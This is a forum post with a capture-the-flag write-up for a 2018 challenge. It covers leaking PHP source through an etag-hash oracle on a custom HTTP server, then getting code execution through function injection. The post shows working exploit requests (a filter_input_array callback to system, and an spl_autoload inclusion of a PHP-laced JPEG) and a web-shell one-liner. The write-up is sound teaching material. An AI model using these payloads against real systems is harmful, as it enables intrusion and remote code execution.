+ Reply to Thread
Results 1 to 1 of 1

Thread: ZN2018 HackQuest Day 4

  1. #1

    Default ZN2018 HackQuest Day 4

    ZN2018 HackQuest Day 4

    Description:
    Our new creation will kill Instagram. We'll convince you in just two words:
    1. Filters. New never-before-seen filters for your uploaded pictures.
    2. Caching. Custom HTTP server ensures image files land in the browser cache.

    Try it right now! imagehub.spb.ctf.su

    Run /get_the_flag to win.
    Custom server binary: dppth

    This task was prepared by SPbCTF
    Hint:
    There are two bugs that we know of. First one gets you the web app sources, second one gets you RCE.
    File: attach.7z

    Overview:

    Executable:
    • ELF x86_64.
    • Implements simple http server.
    • If requested file has executable bit, then its passed to php-fpm
    • Code implements custom etag caching.
    Web part:
    • Has file upload functionality. Image can be modified using predefined filters.
    • Admin page with Basic on /?admin=show

    Vulnerability: Source code reading

    Cache functionality seems interesting, because we can get server to hash arbitrary range of file (even 1 byte range).
    Code:
    Etag = sprintf("%08x%08x%08x", file_mtime, hash, file_size);
    hash_function:
    Code:
    def etag_hash(data):
    v16 = [0 for _ in range(16)]
    v16[0] = 0
    v16[1] = 0x1DB71064
    v16[2] = 0x3B6E20C8
    v16[3] = 0x26D930AC
    v16[4] = 0x76DC4190
    v16[5] = 0x6B6B51F4
    v16[6] = 0x4DB26158
    v16[7] = 0x5005713C
    v16[8] = 0xEDB88320
    v16[9] = 0xF00F9344
    v16[10] = 0xD6D6A3E8
    v16[11] = 0xCB61B38C
    v16[12] = 0x9B64C2B0
    v16[13] = 0x86D3D2D4
    v16[14] = 0xA00AE278
    v16[15] = 0xBDBDF21C
    hash = 0xffffffff
    for i in range(len(data)):
    v5 = ((hash >> 4) ^ v16[(hash ^ data[i]) & 0xF]) & 0xffffffff
    hash = ((v5 >> 4) ^ v16[v5 & 0xF ^ (data[i] >> 4)]) & 0xffffffff
    return (~hash) & 0xffffffff

    Unfortunately etag is stripped for executable files (*.php):

    Code:
      stat_0(v2, &stat_buf);
    if ( stat_buf.st_mode & S_IEXEC )
    {
    setHeader(a2->respo, "cache-control", "no-store");
    deleteHeade(a2->respo, "etag");
    set_environment_info(a1);
    dup2(fd, 0);
    snprintf(s, 4096, "/usr/bin/php-cgi %s", a1->url);

    Still there is a check before page execution, so if we correctly guess etag value (if-none-match), than the server will serve us a 304 Not Modified status response. Using this we can bruteforce source code byte by byte.
    Code:
      v11 = getHeader(&s.request, "if-modified-since");
    if ( v11 )
    {
    v3 = getHeader(&v14, "last-modified");
    if ( !strcmp(v11, v3) )
    send_status(304);
    }
    v12 = getHeader(&s.request, "if-none-match");
    if ( v12 )
    {
    v4 = getHeader(&v14, "etag");
    if ( !strcmp(v12, v4) )
    send_status(304);
    }
    exec_and_prepare_response_body(&s, &a2a);

    Lets summarize what we have got from RE:
    1. Timestamp is easily readed from last-modified response header (string - > timestamp).
    2. Range allows to be one byte length (so we will get hash for only one byte)
    3. Hash can be guessed for 1 byte range (256 possible values)
    4. Size is bruteforceable, but we need to know at least one byte from target file.
    5. Since we would like to get source for *.php files, its a good assumption, that the file is starting with "<?php".
    First step will be getting size, and the second is getting actual file contents.
    With multi threaded code I reached the speed of ~1 char/sec, and dumped some files:





    This gives us:
    • Username / password for Admin Basic. Completely useless, it only prints string:
      Congratz. Now you can read sources. Go deeper.
    • Function Injection (FI) on 'filter' input.
    • Image upload validation is now clear for us.
    • ImageMagic library is used. Assuming that it is used for exploit is a deadend. I don't think there is any way to exploit it without relying on FI.

    Vulnerability: Function Injection

    File upload.php has some suspicious code:
    PHP Code:
    $filterImage $_POST['filter']($size$text); 
    We can simplify it to:
    PHP Code:
    $filterImage $_GET['filter'](intval($_GET['size']), $_GET['text']); 
    You can actually detect this vulnerability just by doing some fuzzing. Sending function names like "var_dump" or "debug_zval_dump" in 'filter' input will result in interesting responses from the server.
    Code:
    int(51)
    string(10) "jsdksjdksds"
    So, its not hard to guess how server side code looks like.

    If we had an write permission to www root, than we could just use two functions:
    Code:
    file_put_contents(0, "<?php system($_GET[a]);")
    chmod(0, 777)
    But it is not our case.

    There are at least two ways of solving the task.

    filter_input_array vector (unintended solution): RCE vector

    While thinking of possible ways to get RCE, I noticed that function filter_input_array gives us pretty good control over $filterImage variable.
    Passing filter array as second argument, will allow as to build arbitrary array on function result.

    But ImageMagic is not expecting to get anything besides Imagick class.

    May be we can unserialize class from input? Let's look for additional filter arguments at filter_input_array description.

    It is not mentioned on the function page itself, but we can actually pass a callback for input validation. FILTER_CALLBACK example is for filter_input, but it works for filter_input_array, too!

    This means that we can "validate" custom user inputs using function with one argument (eval? system?), and we have control over the argument.

    FILTER_CALLBACK = 1024
    Example for getting RCE:
    Code:
    GET:
    a=/get_the_flag
    
    POST:
    filter=filter_input_array
    size=1
    text[a][filter]=1024
    text[a][options]=system
    submit=1
    Response:
    Code:
    *** Wooooohooo! ***
    
    Congratulations! Your flag is:
    1m_t3h_R34L_binaeb_g1mme_my_71ck37
    
    -- SPbCTF (vk.com/spbctf)
    Something was definitely feeling wrong, because why would we even need to get the source code? Just for a hint? Why uploaded files was stored on disk, isn't it more convenient not to store junk files from the challenge users?

    Coincidence in naming filter=filter_input_array, text[a][filter] gave me a confidence that everything was done as expected ("never-before-seen filters", check ✓).

    spl_autoload vector: LFI vector

    After submitting solution I got contacted by one of the challenge authors, who said that my vector was not intended and another function can be used (spl_autoload):

    It is not obvious how we can use this function because as it supposed to load a class "<class_name>" from the file named "<class_name><some_extension>". Signature is following:
    PHP Code:
    void spl_autoload string $class_name [, string $file_extensions spl_autoload_extensions() ] ) 
    Our first argument can only be number (1-512), so the class name is a ... number? ... weird.
    Extension argument is also looks unusable, controlled files are one level deeper than upload.php (we need to pass a prefix).

    This function can actually give us an LFI if used this way:
    PHP Code:
    spl_autoload(51"a8ae2cab09c6b728919fe09af57ded/1.jpg") = include("51a8ae2cab09c6b728919fe09af57ded/1.jpg"
    Directory name is acquired from the leaked source code. And we got lucky, because if the first character of name was anything besides number -> we could not include files from there.

    So... all we need now is to pass a "kind-of-valid" (getimagesize must accept it) *.jpg file with php code emended. Simple example (php payload in exif) is attached.

    Upload it as 1111.jpg, and do:
    Code:
    GET:
    a=/get_the_flag
    
    POST:
    filter=spl_autoload
    size=51
    text=a8ae2cab09c6b728919fe09af57ded/1111.jpg
    submit=1
    Response:
    Code:
    ... .JFIF ... Exif  MM *   .   " (.   .  .i . .   D  .   D  ..   V    ..     
    *** Wooooohooo! ***
    
    Congratulations! Your flag is:
    1m_t3h_R34L_binaeb_g1mme_my_71ck37
    
    -- SPbCTF (vk.com/spbctf)
    Upload and LFI can be done in one request.
    Last edited by Darwin; 02-11-2018 at 08:39.

  2. Пользователь сказал cпасибо:
    Darwin (02-11-2018)
+ Reply to Thread

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
All times are GMT. The time now is 01:17
vBulletin® Copyright ©2000 - 2018
www.reverse4you.org